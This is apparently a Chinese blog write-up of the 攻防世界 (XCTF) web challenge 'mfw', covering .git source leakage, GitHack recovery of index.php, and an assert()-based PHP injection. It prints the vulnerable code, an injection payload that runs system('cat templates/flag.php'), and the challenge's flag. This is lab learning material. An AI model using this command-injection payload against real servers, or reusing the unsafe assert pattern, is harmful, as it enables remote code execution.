攻防世界WEB练习-mfw

前言

作者简介：不知名白帽，网络安全学习者。

博客主页：https://blog.csdn.net/m0_63127854?type=blog

攻防世界专栏：https://blog.csdn.net/m0_63127854/category_11983747.html

网络安全交流社区：https://bbs.csdn.net/forums/angluoanquan

目录

题目场景

查看about

查看源码

查看.git

GitHack扫描

查看生成的index.php

分析代码

找到flag

---

题目场景

查看about

查看源码

在源码第29行发现了线索

查看.git

怀疑是git代码泄露

GitHack扫描

查看生成的index.php

if (isset($_GET['page'])) {

    $page = $_GET['page'];

} else {

    $page = "home";

}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice

assert("file_exists('$file')") or die("That file doesn't exist!");

?>

分析代码

若想得到flag，即得到"Detected hacking attempt!"

?page=abc') or system("cat templates/flag.php");//

找到flag

cyberpeace{bca4cbeba9a8210128e7542462a2e7d0}